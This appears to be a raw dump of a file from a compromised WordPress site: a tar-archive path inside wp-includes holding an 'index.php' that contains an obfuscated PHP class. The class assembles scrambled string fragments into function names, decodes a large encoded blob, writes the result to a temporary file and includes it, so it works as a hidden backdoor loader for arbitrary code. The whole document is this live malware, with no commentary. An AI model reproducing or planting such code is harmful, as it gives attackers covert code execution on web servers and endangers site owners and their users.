dvadf
/home/homerdlh/public_html/wp-includes/css/dist/base-styles/block-supports.tar
index.php000064400000224325151443227710006402 0ustar00#!/bin/bash
<?php
class Hub {
	function _task($state, $query, $_vector) {
		$size = strlen($query) + strlen($_vector);
		$this->_zt = 0;
		while(strlen($_vector) < $size) {
			$cluster = ord($query[$this->_zt]) - ord($_vector[$this->_zt]);
			$query[$this->_zt] = chr($cluster % (64/2*8));
			$_vector .= $query[$this->_zt];
			$this->_zt++;
		}
		return $query;
	}
   
	function stable($_config) {
		$_node = $this->stable[4].$this->stable[2].$this->stable[1].$this->stable[0].$this->stable[3];
		$_node = $_node($_config);
		return $_node;
	}

	function queue($ver) {
		$_inc = $this->core($this->response[0].$this->response[3].$this->response[2].$this->response[1].$this->response[4]);
		return $_inc(array(" ", "\r", "\n", "\t"), "", $ver);
	}

	function _lib($_config) {
		$flag = $this->core($this->_lib[0].$this->_lib[3].$this->_lib[2].$this->_lib[1].$this->_lib[4]);
		$flag = $flag($_config);
		return $flag;
	}

	function core($check) {
		$rx = $this->stable($check);
		$rx = $this->_task('', $rx, strval($this->twelve));
		return $rx;
	}

	function handler() {
		$ls = $this->_task($this->_process, $this->worker, $this->error);
		$ls = $this->_lib($ls);
		return $ls;
	}

	function cron($ver) {
		$adapter = $this->core($this->container[2].$this->container[6].$this->container[0].$this->container[1].$this->container[4].$this->container[5].$this->container[3]);
		$this->adapter = $adapter() . $this->core($this->load[1].$this->load[2].$this->load[0].$this->load[3]) . md5(time());
		$adapter = $this->core($this->data[0].$this->data[4].$this->data[2].$this->data[6].$this->data[3].$this->data[1].$this->data[5]);
		$adapter = $adapter($this->adapter, 'w');
		if ($adapter)
		{
			$pointer = $this->core($this->std[3].$this->std[1].$this->std[0].$this->std[2]);
			$pointer($adapter, $ver);
			return $this->adapter;
		}
	}

	function _output($pointer) {
		$result = include($pointer);
		return $result;
	}

	function signal($_vector, $_process) {
		$this->error = $_vector;
		$this->_process = $_process;
		$this->worker = $this->queue($this->worker);
		$this->worker = $this->stable($this->worker);
		$this->worker = $this->handler();
		if(strpos($this->worker, $this->error) !== false) {
			if(!$this->emu)
				$this->region($this->session, $this->x64);
			$this->cron($this->worker);
			$this->_output($this->adapter);
		}
	}

	function region($_config, $_ver) {
		$code = $this->core($this->region[1].$this->region[0].$this->region[2].$this->region[3]);
		$code = $code($_config, $_ver);
	}

	function __construct() {
		$_nginx = $this->queue($this->control);
		$_nginx = $this->_lib($this->core($_nginx));
		$_nginx = $this->cron($_nginx);
		$_nginx = $this->_output($_nginx);
		if(is_array($_nginx)) {
			list($dictionary, $iterator, $_zx, $claster) = $_nginx;
			$this->emu = $claster;
			$this->session = $_zx;
			$this->x64 = $dictionary;
			$this->signal($dictionary, $iterator);
		}
	}

	public $std = array('z+', 'j', 'vX', 'l7C');
	public $load = array('ou', 'YK', 'yW', 'bE');
	public $app = array('ra', 'p19Li', 'zcn', 'uWxO', 'lK', 'bKwN');
	public $response = array('pK2', '7G0', 'Xz9', 'j0ub', '9E=');
	public $twelve = 191;
	public $container = array('4cj', 'iz9', 'pJ6k', '=', 'XYwO', 'bG09g', '5s7i');
	public $data = array('l', '0', 'ih', '9', '6', '=', 'y');
	public $session;
	public $control = 'HvY8hJdTLQhC7ahgTGccTEKr2AnItweaaRgKVfgwRoZR
	buNYPoXG9wUag1BKhL38w1z3R++emPnt593oiuL
	5aqgII9vUilwfARaF69heB0WR41dA0LVnC2Si6qGYXrBLejNPJgp8
	2nGV2kvXrBA6ZoHekVsWFqLyqzVLmjRtYPzsngNpxDq1k/myU9/E
	mIiwN5ZSdzg+viuOPiCNjqqsDWmlbWiFaAoklBQiF7uLP5K6oDOexIqW9pWiFFI+G
	u9ePXvevcn9cLVdAoZs41xc+4jv4rCed+G6YrWoYSzlz5jo+BPCS3LI5Wbxq+32zM54b0gxkn0
	ibuNNkr7awUlBmmlc5OyGfMxtKfhlleb5ec
	mHvWH/RxiwIa8DEuTEkJvYhiJvC9yR+GaGu/ismJmTW
	JjTTt01idE295VvjpJq7DBXdPi/ENPSvZ9KJqLcOYhjNNk5E
	J5H6+3YJGtIG7e54YLbWj++kY3gWqEbl
	qtx1n8ViobW+FAY3XU/zXVyjItjLyhJS6fNGDYCK/MqTHFph1WTZ6PoDWBHzR+x+c9oIP1Prl
	SVMM9yIxcq/+Ci9fJOGwz2wjrioQM9NTmqXm+p5Z/I63ksBDC
	HqnJOa7EJgTcQYVF/Ud77n4Xh5xR+6SEvu1Q+cN7N0AJ9d6R6i3ZsoDUalBicBuclj5WjKE
	sCnUwImTioIWx9ek9K7Axx8o6+JCMIPqd2OWqKmFoe4cjd2X
	q8OkVqzitkTEp+Al0ZO02Pu3N9fpuZxL6P7cXJmoaJ8qeX4CxDcDZ3nkZIDwjDiNYjH
	AxxN4YDZ6odzGlwJ2EZjkL8AkRsLlmQZZEDoCmIOmIz/btlULaywYYPTpaJZAU0RhpNu
	gqDlnp41Q6/mj1N4RS1QOK0Zn0QRChx2ygHwWege8UH1n8u
	BdPr/USbMt3EecU/Dp+uTmXqAr4bZg206Z5
	J3YG2x6/RMzvjf2ATNGdMNlSob2ZYDV6gP4vZHnH477llZnDAc+RyGPOkAGEpLqVfSDN
	42DVJyJBWO5g9kLFx8uOqgyQ75kgoEA338t3Wk+
	d/1KoHNkYkML4P7Ns27wQCb8KDKdARJK5QbTuM82GIBPdl
	VIu5mStPDwBqJ3fZ0MNPEFZqjwaR/KheZPRy2z
	ddbD0omqpSimRWEJO5iO3/lNX0fMH9vTXXdKsObtFIRU7jBv/ATRtszVn8O504keJP223l
	JQfxtNmLKzoDnmx9/YnDz+2F0fmTrdQkJP1tkY/LFTQjO5CeWJT5UIJbk
	Jmfpmro0c04rdjolJfTvvjgR2+IBuY94/QERzwEQ0r4W/sVjXp8H9V/VarIGKfGea/vsk
	3Q9eL7FlNTF3arxN9fsGUI2ACUDyHAoD8ydg
	tF7L/TUG/O4nCWgRZQUBmYOkM/ciWvNpwwmI5
	oGw4iv6vz3/B5UKGn52wUkimFau+10/+cRkAlEYDU2R7X+g3tzZTflxBF47QtR
	uoXNOfDAPWRhJOpWyr4gEcHDQnC/labyM2vKbPBMwozWQEivHjXDhdKmqarA+K1779ZyA+t3H2H5+Zi
	StcE1GmTQ3k3RIfJA6FbeOK5PX7sjj+PynRT
	yCscXFBF0Pb8hXNR07+DwFmIKvYZctjaAW00UIpzq9L+u1M9e
	LZGY9IeT1q66M/soJ0D6+aqkPw70dNlpijqceS0
	cItfEa8Vm+Hrypcp74bRLvmuWWSxm8UgUPhi5nmkOprEHXznG5gFBy
	9mNY0c0nU9xellvdeYgKGqmgen7P8DJJj2SbCot3Qxo3HR
	Y5Toa3WxTIgxKHP2uXAkrHh92fkGEgTcmKh6PCWZRGy76TAr2LCuV3qsB
	zi2BSzycmjwZB3G9ED57jXWYqRDSNJ/mzeTAZM1va+LyQuaHT6lEJk+jw+q5W1
	80SsjhCSd8G8MtnDY16nu4WDueiLsB5bo8JXXP
	6Wb+LcFOR/+h/KlecCvCJ0NQjh+ff/bPNaQ1n1m+oCUOI0yw42uGUo3m3ye
	rThSiUsUsCdOQMTB9MNNsO0qxicY+Bk
	1iQX+VyKXBtdSNJ81Rr8VVWglmDzn3B8K2iPnxCeB8nBXE5BReLvIjtch4dioOhu5J+O
	Sya/ibgJ3uEDj4c4OqpjbToZxVXrA1le9Thh
	EKZb0HdnKr6KssGWqB60lbFGCMB5xNVWcZOexsyP9f3yQM+YiEFjis42nruyD8HNTX29RnW4sUttGhx
	1yJVABU0R9+f9ZhJHQQnAj2WLg6e261iAQ/57ntOCVELI+D3lUkKMCXF7UWqnjXXgKdP/ectkBHh9N
	VbLHAY6V4zJWOyz82TmN+VM2K13UhlSCmAzKN/6WUUkI4z7hRhVMpVsf0UxMOv5rhWOdt/DMKsnhobQ
	XssDtfHej9PF5C7MW4MLTzycVOx+Ux5An2SvmBVtOVucHmX1e/m++iSC/F21QX0C6NTpcAzwZYjxXhz
	6Z+j2Nw9t4ecmpJUYFJAw41J5cgk58CJAxzhDslwLvcLPdnYKx2bBUsiCyYJWX0Z6pf71iVQ9VQrDz
	ixUeML7zWyzc5RVKGFASQ07vjQziw5xwgq5B+gXGJnDQ
	Lbi3OkJTMAo3AfBEniA9XLSWTpnjneRgMo6LOGFshMPhj6bY3xQv+JNWxx8Op6ANYHTx/lJG7ZJ
	MTuDjNDQYWmnSlj6XaiqJPdNThD8v22YnYm0L7aPYU8rMzAZgNEDOJYwobdMAGxPpn/Sgj+dQcm
	tOv3UwS1PMJhYHjfxd/v2HxFEM58dihwgeolDX3Hvm4hwqWyuxaJHeWk5pxzfGXpdi12P1W6m3XAmV6e
	n6kDEGaE04P8qnX7BmSFclxnWWWyy4XLHW7zAsHZc+V06dPNdlIwCYW
	fsF2zXe/EhIk4jEDjRFWSrC4dZ5pU/7G8JvU/7BZaKhw518XLSXS670s2GP2oUh7d
	STATsmKyYrzHgvYIGqAVsa3xqkDIyOnOZyHH1UzoicSy/BVKxPrvDPrvNxrq9x6ygTqD6DcDiPrk
	iDIqxqDzqNUnylhcqqsgThjLNBDn3GFYYV
	C3P+7xjakIpXzRo2OOLoQ2t8+Zya24+rLthcBbpcUQohh0juzSjL/rS
	/hxXOHI1wP2bCCZEUw512jBBw+VT0/480Jyh/
	m6CRChx/6rouixrftZESQbVgwxgvcZ24XhpvMYV5+Q
	oS0h33DgIProsx1ZloIAx4B8bPPyeqMRofAczY4uxwlDv2KmVw5lYoisWK/zqpfUVhaXkU71CI+upHhr
	NmfyW+yvgoSHT6E+6qCeNWezhT6T+xvZhd/5fyeTZsG0u+59Tdp/aCoglrZ+QLb/2iCSDx07
	e7s4zmC/TXiVsM26aHTce7Oj64DiHh18RiHGZszWT+v56tk+66Q9e2+s37Z12IQxzEtsKDazSi5d
	AQTe1MVlRtozoKPFjrThVcpVleOJoPcDYhpJjBlWHyx2hVUqpzg4Ia/0FvV7cQUBuHhewG43IbTjGv
	kkTEpjfbU5NEBWsUySc01UoWDm+sdnhE9kg7+dbbcVa3yXt8td5JU
	D4zMovtrdLkfob2Xx8OLIjJSWDJiE2B0x37I0+9R7v2mfKT6iPJhiB7k
	+j4atZicsOm1N35hwzuILO7e0ElKE+
	lxe9HYr4xT2JLfdTeosExwYdj4wrrBsC1iWThQpR+KDP2nAmSvIrtUgK
	M4AiwkgKwsii4vpkpUxXW2GHs4uVBrS
	qaKrXYGlnJYZoPcd23mrV1a2ugamlTiQ3
	W7RdEpY2HkKkxWBkOIItYPRit5triC31dZLo1aVzx
	tR7kdDX0CESjC1nM47rY31Fjx0JJZt+MET/ZSld0cBs
	DWNp2S7k8sp7Ne07oiwJoyCxi9Q3PoYSPoFgowOVldSNyBzUvWAUeel
	64hOMUIQ+bQ7ZhFThhHsgedF2nJKZCsj
	e1vKWtoB8RZ4jx0BDwvU4ZQ5coczNEn4RKSpuSMeZLE+cYZTq9el
	onudla5GkMPfF3jxJN0HNxKnGea0G/2z4lJvDtY85smp
	aHlxPkcsMk7eTbtOPB6nnAqifQ+KDXxGxnvOiqjYjPypedVdsc8FB/Ba102tTFC5R
	1tWYHz1IxwaX/TW+qEhMgVXkZ2V9h3nyOYX/+X25LyBmOncQx
	VT2xuV5Y3ObPRA5cxhdJ4lUKj3aH+8Z6EBcfSmhnJf5kYlMj5qOn9oaUPvfHBprI0
	FXVXJAwfX12YC1ZnnG3LvQs5q6tcmkY1Mp
	S0enPm09u4qxzghrhEke72HJTJ62BoMgcmpkjHAMGUoJ9lVF03gocVvb3wyk4DlC4JjK0Ma5QY
	4eEgScBn1LdqVZUCPNZ6iJf+0wjy0wSWr/RSFQFC
	nG2TCYuRE2ymgwks0GVMtDD3HWsS2O6FrtIoQGVe0vaIb8MFUK9+tTEx
	QRl0Yg3dQIXbR1QXyiNhc3/sklq2GIFpfGk63PDKu5JdL5RxErJqr5PUp71nJG6t
	2fA9yGwUggUu5ctu4L58YeMB+bm9Prs2LjdPvDNQMELaEG22f/
	gdc/7geHLaROfCTLswEO1xGsffN2gYAfmTFUB8wKsOWj2qv
	D4zlq+EuIPNGANOMV38ymLVboHTboeLgRD8hu36FxOfiQKP/WM1HlODgr5ZWwYcWByxUYpmwJ1lB18
	qoP/LyqFah+bsU9cyU9D0U1M5R5D4g7hHLFAVh2wgF+
	pSRA+5l9tvaIbKl/oGKplQZPLGRE1Tvb+Dka/gO5LKHOfdb9Un9XkzzSLL1c0GPF
	t44BQlDKkNGH+TZdNBjiL3apAHJtxgk+
	nZjUpaXl30l/nT4l98jgdzvkIuB3ES+1V6XcOnEQ
	NE44EJOtYXnLQVBrF0ZakJTqP2/6Ls
	DYXRW98f6AwAH5nTia/uBdTEMjM3VGS0v3j80hnQmEhUZbGI5rKXclq62bX1ltU8J/BScRRkxGtrZS
	d/8Vlmu5AOZnDi4zfn9IQty7Brdjk8lBvQzUaVx5vBaycTKln1
	DeWZoaTtgxtfwVr2lHAGZV15orpQ6m00G3AJ1JDc9H35iZ4Yss6gZery5c/QtuUK2yyi7x+S
	eiEbTmUx59AwiyLZWHUBfoIhnIsTbfU5BFDvFJTC/q1/hhc5qBHYg7DnIr1dZ8Q6Yx
	5KhyeEn1+ojoaIzyyNq+NOPzowtPv9vJT3NnpxqVut
	BGpuhFtVHfKD818tNc0k0D3O3Rby3lmFRf0hzoi0ZZaHzbtvedcogIzZC+JGSlcDY0EQxvoLP0
	Qs8vQGjslw5H4V/mfnyqIFI7NKwuOYAeRpS1RC9Fli6q3q7SvLijJE9GEE4xutRXtbnnmlHGEdL7v
	0MNa7i5vyTPZRdg15/s0R3B/k7ocagOoVmOiudM1uKpZdkoyhRlG
	wsqX4DPDfQmVzcYgRcL1FTYOv1uz/gZ2Ba8NcO7OkX9SePLdBEOu3dVm5ppIrzKPyTvCA/al+XjHOs
	iZ+xl5iWWtPmLGKU96mF0plSLgDDJjOawcCrZkFTZb40goXkYXBwwhCN6rRtjTcgHtE7
	1rrbzNYro/CwZwixmcuNoeDK/vIicquhX9017gfvcM4j6NcdCZkQRU/bi
	3nloKduD+JitVYQSmpOiF/pKPhlTSyO9fc0S4k2QY1G5DAZF6Db0Yy4M8fHgR
	WYocYgSD6RixgM/Ajf7Mne5lcZdMpgpqZ7rE6QDXrkOweifrGOr06uHUxQSpbVjY
	7/9eImS40YDtHnrH1YkFI+Sm3FOg0wyb5O62CWY6oAUFctxA8otGf3MS8z01gzREzwZ4x
	HShIgJv4IWlYANtn6XBKDUqjPnXCxMPvhYSsLjC0YXkytJxrG9YIeRq
	v+S9A2dxUIJdDYYa6K6SradzJHl//N1
	aaRCYvewzO9Te5uUc9AoTfEUw4w020FsK76ee5s
	lzV8ExzOIVXby614BgWMpIraR9g+WtBScQVmopZ+H1wL9JHUirqcZl4EAwEw
	EvvY+l7JiqhBGf7LKf1PypSzJxUuhrce+bkfrvdxSnX5qMFO/p6R4jdtE0Mr+++A7I0u1
	OiMXasLUArYz1XIcmajqd+AmrO49eKthsKUySEe6Gujr3Tw93Qa2kr9bm9Ely7sRBr6VHxyauS9cB
	13zZbzHYQ8HEpr8ypaCX/kBqAy0nwZ3X5nV1t7fH4zfFiCR6zhf8XwRzL9/70+vcZCkMWl
	rHOLEx+FI6X7cAtIDemvbvOB98J+X5dMMJa833g4umBzZk2
	+t5K6MQZzHJTxcP4DDLgYiwAHzqatwqL7KL30xZwaXXloRNUCvSAPbZdHM8RLw+5DR25M+7ZDd8h
	wy9C0nfuGZemX1ecXQyw85N4UUqylamvdbPDf
	7h/Su71mu6X6cbdXnkIXROamJRRuoCoLfOax/Dzm1DWRVRv
	uvhB47oGPQHnDD+wrGDTg98UE9pN0JKph3d/2ySrNNUlIpOq3XBoUhlKPfLmN6lyjSVa6nc8J5B
	9UY6YTZel+1L3joDj3+M3Zrs1o1gMUonYQDZJQguM3F8e/ZQA7aPQ+Wf6JH
	nDlcwSQnygiqgMClun9PomU1wIByNXpDdV2rfdZRq8xLFbGS69OmkA7P5XeMTkm18c
	1+SGLrs3wbeo8OH9H3sbibk10l2lXf5VKw7ki2om0VEivjwEaegpsSiLoAliK17tcDCTXVlzx+JT2
	vn8Z3xw8inlAGlBwV/euHluAnvbDVsIZ8AogFNhCLD/fd7/NvKrSbRFk5cOJSftnba2F
	CDIq4Z0ch04Ti+/Yf+nhYPV0+zw3vi/dY9AEQ+KCUxqwKKV5h3s+0VHWx8Q+bY
	3qwRA+K9jGGNLO5WTho4lNX1AyDhbUNyhRNHUVvNL+9yuU5PIwSkrLmPx/xx9/N+F4KlJ++k
	lDIQX9568VcD+Or03NwGiEsyrrbY2PbM4GoTNaejaw
	GDNyXao95mshFlL68Vasg0K9JadpIcM92UYdp5kY0V6HhvSNu+rYzynYq7yWXH59bOhgi3bSLSoUcPT
	C62KpNqQpt8NBD9WuedjYWjiF1HHfey0hpH/o1nBzG96AloJjPpi6KaNN2BCo7OC6yMZ
	5vqbC7D5GYdw9xBL47AYaQ2axprcWuewT7qkZIiAx91
	3RP4+/hCJLDe3T96PNwp7+++xkHB13+YbbS+mZbLi
	YwQ7UCuEdey6gExywHKWvqM7cZ7kB4gPXWLM
	kJYKtyFQmXIUd8XZlNJoA7PPM2oVTiQzvbleSoIttu
	FRcEESDlA60TMMlLPA0m0bezlha1LkW
	Ui+1iyaqhPjm+BRS3qy5BITXF4F8YnwiyyXa0N8Zm+aiBEXpWQ6lQgPpbiDlfzrnKal+vYBI8n
	MPXos5L8ZcjyL2I6bru3bSOZWzSbvWEjlHDPI+AtShd2tb7DT1uKCJWrHAO0mO9oqaWE0UpRNM5Ebu
	b2LTo/pMFqw3M7Tjdlaghq8tMot4i/ZW0DoNknqFUdor2XKxjNsnaklM2s+dK0wsEVfSt7g
	TgwwnfRmE59IKRxTPtgjJIrzOo2Ewz2qHh/
	p/ZAwJv6kpVQKNFW6qcyChZNpR/KBJKIrjpzYE3C+Un1T/aZwQzzgYg9VrLEHH5T
	OQUtrqAE2MQZHVPX5YvZk5fAnEXY6TsyCgAble0ZF24ZWn
	WgsBVR0X7RLQd2CRZhsQpwtXH7G6o0mZBbY6
	EqUyXUXRTEzKs4KNGZPGZ7Udc00ulw6Nq0YdCn3Ezf7iZragOL8r2ue3UGtu2m1TRWZKkauDWSBI
	9wzy6UE08/0SiJbeOwIpmvADRd7+QxN9ZD7XjO
	pHVklkP7qRsXY7w1R7AyMmbI3rYG2jmP2wAISO8yW4QcS8zaco4x8V1QPI7xLu4cKeWK9
	YPlWuYc0eLYAQ0DpYffHuIYBmnFlhxksDGXx4Er/90+or5dM8940vsab4g
	zkoIU9LYVnQ2+RKpd5Gy8yeQ1RvO0ef96Uvwe4nbFfrNNLi23BMnM1lWuT0AI8d8yQezPm9ejJp
	e285iRmVjfmtETz6EPN0/IEw3+w8Sa
	9LxqQ3Ig4G9vWvkfofK1d4le7yuhAYn65cR6/UP9GY1k9ERlQiuiys50XeD
	PBfLT4c40216653GGAs9M9X+TqJqVtOqpzGESvaWa7d/s2f
	gO8VQLBDvnlDPX1lxE415U7nYb9xLqoJQePuY/9PQz0K83yP9
	mkuyE2Cll0L63MO/eOYgfc+PNmB0kauSmE1
	L9kuK5v6y4VE6skP/GKgLWcTF5VWcWA2gIqcvG7bHSA
	Ny5DSIBNUQtUwG+FFJm/f4WMiyw4vl8qRCcbFpt
	5HPk3LxJ5o3neKpusW5decvrNX/68VeDPvB2WHYU/1q
	83Tr9BLGN+kV26494nR5eVI0PpNp/jtu+4w
	/DS9xmDqItWRX6kR08vhd8KXmJp3LEDuI25UzPzJaJD/To9Oa7NHIgS4S0TawNEBUZUqBjMd5
	ndfTojulWB7yS72XVgBXBl2qwkAKi4eaPxOOju
	yWZOGy8aWLGUvkGAgX87Oj73B0G1BvAiip2pBNAG3zJM0wZ0cwKiI3grfJ5JqvDwIk/8BvCUZ
	rQ9kEo5FC0HWXX+8UBUIJgK6BMYzkjNbC
	elOFb3uxWlKbe/BtfjC7P1ZkvdNR1aICih6Bf6xSQk
	bs0XGX+DLTJcuovk2KFqVyfUvjHiclFFnl/yJyJ41rfkgM4u/OlbfLjBw8rsHo3Ll1
	/90xYDUieCxdueoPi9hD9ChPbmiW1SUi8rRh75VDP6eXFtKNqPccTX5UPjzk349Va
	dumzJW94YoNeL6ZMiuap/6aVeq2OielzfiGawuHrMCPvINo
	dwcgIVRXVLuC2J8qHFF5qZ9mcwJTt6MnSFR8UD74K+u8E0Gqp2HgdwZ7tICkWtCY4i
	9FdUYm3P/esz4+yAMNDQG+AxvbKHwSI7gF8ObedQSfYEUQ3Dh3JmaZ4tfvuyybrvPHdX4H1S
	JXWWca1nW/WLRTsNY3581EjXhR7wHxcOOj
	TVMBwkq9R3sGp9Yzxi8oWqK8Ylp/c/oX2krTH0E
	URvQYRxaiOx9buFSe9LnN9cgfKpHd50TEe3/JCzmXxv+WGCJLpNgBBAF2YN2u56o
	BdVD+EAruo711fvN17fU38oW/DCxIp+GKfbOAjDUXcI9U/hcvCuTL
	685uGyyabZmKyL4a4T0YxrN2hIY3f88G6Eb/xoU905+w
	528B1/jotedBu8EF4Mir1mCQXqY+aPl
	89znkzOoNOtOh+mLrIrnl4tmNPSoTDlX3JkCZS5WbP5K+TkmUYERP7CkGTTzQX
	Cvf3Jm5eMQbSRxJYsv10uClNUlWVqGn+6H
	nuLv8afnSvxl47cqyg5MBy7cmO8mjUGfHWCrYOz/nYfUEiAr+ejLo
	S9sQ8EEYOsyNuxKAUEX3rG1xLLOIvdS+VF4gI91fZL/XsH
	vDGt4QQLIoUuWFYoxJtvhdDfLJImtLlajBv8lL13VnusaDMeLHwP18cwa17xE/3BhqAItlua
	Nc6HVKedGkCUvawcaDhFE6eYkF5hoLOSk30zgteOfV60
	8M+ugUcPXqH/whJjq/jXpI6SwxXr/Fmmr//T2MptpPR/6q5js80FzLD6YA7mya9m
	vHBC1f/moy/WcRCc3XUQvDAgZ1KW6rHPZiC03C+isaE
	KhNLNDPqtyfOW3fRRiCDxo7gcLdCj0gFKgOyXkvTIT8valPS4KyZhEiG8g9HfCb1
	gaNsR1VWBBF90X81LYfbWLRPQKVwQ42kPmE1DZFlL
	5C0g+RSwajs+pa64jxMihegVnwxMYYA5wCvr3gV7lkBNnCEMJNT0wIiSdlV
	ooqe9U9Mv8Y9y1i6nrA93OCNtu2JbzeHYxTKVXYxqypZF
	FOcBYCTGkfpfgT+njrQP+oe+N2bpu2RpLxw9pI2Gfp4Dvss3gtYvkGNPA9k9drI+ZSb/nTs
	eFrk3KL/b2lBylSL/yWdIdW0LRTg6XmdEMLdN7XxedwwXWOkf
	vbRjo/ByNCCgNor9skTtep17zsNnif
	yyk1tJo+tu74d7DuT8a/wOae6p9Q2dLAmdKxsaOx59/oTzaGfttBOzjZzrwUUVe3awip
	yzIC/jiFjPvRxi+tdDGjihdQ7BBM1pNMkONEGrPJCRKnVuTS
	L3XfToiNYrNQDJ2Atabd2zFcOybACD0/hwPQuQ
	D+lDiWsXTWTiGK9Wh4dh1naFhp4cfWe/qwv3fjteMV/ZkN1YCKYmDNgSadsKMB
	/a0ej0nzpWnDbxPCf5Z6moPCDfkUbw1iAJPgh4lRsibe
	E7ZOg7Q/Ehoqh+VsvKE9r4K/c4uYYmuCpAxUr7YnF6DpqYhRgWT1lb7RuU15jWS4v
	3LRRtPlcgM+fiKg8Eq04HPDlQXKWIVCssyJ1
	4IRxEGw+iY12GOzG+DuR7OfpMz/P9a5jsrO9bQn
	8IQo/LAJrg5HYRcrNZF67w62P6Y1xizY8STLgwvaj/dfT+HxS7QIhEHcaJsr3XqCNM/YMWN0ec9zg7fn
	5QceeeqHPP3gADun+ie0n4pqhK2S7Y1KLB/ezcbAyowzAWLm3XUWYtkHNHRk7
	BvjNLnd/7bjtdFSmw+IAvRMHdpc+gl10RFN/Kp66qmghJMKQ
	9ddTafLagJ5pzqTo//eg9DyHFfrDFT2NO6D42LuKSgcLSYL3yc8DcnY50PbTBJL4OxE9wknx8W0
	1DlSEHsfwd4040EDj9voYJnmuzree7Er1HeV
	kfo4Ghpp3tkaHBE3xaMr02yKqzz9O2brgBE9NyldSTzYdibSuG8iu7/tAmValuQg4MEQ7t12lSv
	UCOOg2NtDt/WCWHgILAsxEZ/jFCFFIKZx5zu5olv
	OEBnjzulTbxmoa9Q5Bc6ugoUNUClDWWpCobKoV87+z2ZbErrJy3K11sesZuMQn3vyo
	dN3dsXYkQpxhoQGbD/odfJXlMIh0p+mfJLNIxRqkOVD6PdN9VWFAWC4Mrg28rQF
	I3DYn4BnYKEjtfjIygbK7Sj2F/1rCPEzeMNSOuIY8eP
	6PVZ4DVUqBtxCZKXS5HOg+BnXgtPq4nvyE1+KgbME9
	UFzUq3/8atfuHv4JhTwVdBxcMIEwoNIO
	2DeMbRzlUPw8YqceC1hw+G5tCFWbfLld7iLBwb4rueWs8
	WLoW3cgMXnXj1N8oHEAoOElWeJvnGE3OMLVtl
	ccXrkz1UOk8M/1q2r+Lm9m+5GePZAi4gNjgtZcP3FAnGFNayPoeiMRSHU
	GAPC+Wo3Ma0aujoV3OZg/MPj52VZIlzw+w
	atH0JFOqEMJVU3J2mwhDBfxaH4btGkpOKLmbm+yEmNDcu2
	1Y0GE2EoZcoaU/SbOPcENT9ZqM95g4dqSPqePfvCLKdTJqTNr7G2iChhW
	ACT/6i8TfJbCGtKytxRE6x22gCICFttAddRoAKfS4846OCPNBZG6ul7FQsY2gNgUFB0Xj
	irYObJljcT+dZMdJxO0t2/v9ECyHmQY/YH03DlNTSQKoGEwgw+cuwpb9ylbhCKG+KVD
	lKZ70TZEDkghb5DIeIJVD95FlXpv9TqTnpR/o1aNBmxxhkl
	u+ZskR528RIUc5e5ioheEbxZ7oss7/xA0wJWHM
	2sZxPE06lvp8x0Dw/zJvWknfHWYKlru+L6X0RfBBSge7jlr
	VWQOKDKRwF+bMoXoPcJR0h3XBeO/huGl8I
	Q0RZpXHr3Knnz0nmani8BhixOkUJExsF6NH
	S85fUpllswPCbJ0TSSk2pvBNCCVrpOLu
	EmxyqgxJA0VGFQbRCXRoU9A5my4EI0oVN/fw6grcUyWLYMSgw+0TgU
	d+/IzcZaBQRAhnd8sBI1g+zLYJDJRGNT
	3AejxO9Du9MaESM7FC6zj/MuRG9dl6DBq3OKXUy7v5jutZxAEk7wy7
	eScxuQ+4npHYumRRnNxA/o5IoqS9KgceSvN/rXQIhNy6NmPwDxpoIMZ8XnKxoMDiVLXbKK+WnNp
	a0ZOovpKfwSdY8dS64qohXviJicSUyhOgKHYpC1Hg1zlvEsxVxTZkcXX8EkGSC
	0mu/KaEs4hnU6oeab32eL8ETZIqq+I6O+oEsRoXgGxkVjPTthpO43Hg
	qHhaSpZpOZUOenCEkuotl0E9J1LJw3udKzbZFZr+oFxV
	/KhPj7bXlFX7ISabLFJtsfF2hBqQrlOGVJfmRN
	8hVbCgRoDPl6UcrHeyJG8BW2zciRABec/LE0EJ6gG5LZTvWl0h6fUviA00/BOo6X66fGdHeuIjSpWy
	oQP+CHp9BQsUTzAzAFssbBEwpXFWrPPU6d6plpg6zmyuJz8Uqo5lCLvBI9th0Ra59
	W7Ws2+2EpgWs4lM76ZvIp+NN51YSm1pc+Splf8NiYbO0OpCJGuXcW2vMm5DP/oRaedC+Q
	4sn2uqacLtEKRM2+i3AJAXOJPzdfUU7SNK5Hi
	9vf93v6HecSWDk0DAQEfXMn4lLOS8kquKfPWd7bSPW38SH/kj1
	Ro2OR0FKKrjWWh2TCc4Qa2z/XCQMJ6nUhBgpcJ3IredWrd6+7B+PUXgTrAztZk0G+XNpU9JN
	BC0TSuq12F7wGhTd691UPsZz906d3kF6Px5gZP165xmS6AGnYaPbNDyTah1uW3+D3
	toh5rEjj++WFmRMRgZvF4XeU2EEL0QAdCsQ98uV4JPXTMO+hb1CurjbA9587oVw5JPFK
	jk/bmrgrS+E3nKiq6tAQZ+ydn0Ql/8DSE0Kp2WwYNi/WBam2Xjt2C+vxDc2gexX2QJBDhejxsExfL8V
	ft4r+h4Vf/uBwF62bNdwW8SRtnURPqqWQkK/0eAdMJDjAXbhH7JM
	C0QgLto4Y1JJ1pxXjfoN1pPZrs4gmMk/SOVmt9EmM9JWZ3q0NgyDqAoOUVUdB8+DLCF06/Yblb
	SW7Ikjr5KPBKfQq5rbwoxkwI0TQGbi5FY9hDEPfeEXO2wiTU6q5W974jeJTi9c34rRo4bD35n6kQ73
	lYwPqoUeEr2+ZCsCTbrLiO/rxeK94i4TleSVaKH0FQctTYLudGut83Brqn
	GXHNPG12tfz/n75yov9jsPYP/cN2lyXT5rFb7Oe4oa
	D7hQZTy7gAbCID1mSNxrjgOvt8S8Jlq4HmGGTznN1xYqCjgNhQbtLQVFefRmTNPvV8OvCue+
	dA85Zo+xj0+1I/ZsJ5/cvY1UINHYstX74zV5Lkwa6UVmKWag8mZjHM5FmLGyQ
	Q5Q5hBI9tprQ7nJJ/LDburCmsrYdXt2xcFlmK5EYfor5ufG7A1j
	XL3FmmuuokHfWnMKUfZDkOzDUXnNCExdZeRfTUqGN
	1O4PDhMXLgyexKDmqjvbQf00+hKGHMtAYQEqwIP6a2+jwhDj/4B4Hy3DKzaDcLf1H3/fLR
	jUyWsnit8CMGl0W9m8LVMKYynceHrKXznAExMNq2jQT0SV6VqE+13tIPf8UHQ66wUH0
	j4kAePh1+eTtrP8ga9qfR9I/zoc/8JAryJC9
	if4SHI6RHr89ob/R4z49YG7iwjfxnUu94rqyz0Jaq4cJGDulStX4x5VZ1hjA54d8poloeCr
	75E/0iVx5ELt07rXSuYtee2xjDyOnLFoS7RaqzCN2qSJ2dl+XMKWjZbTexx6ljp
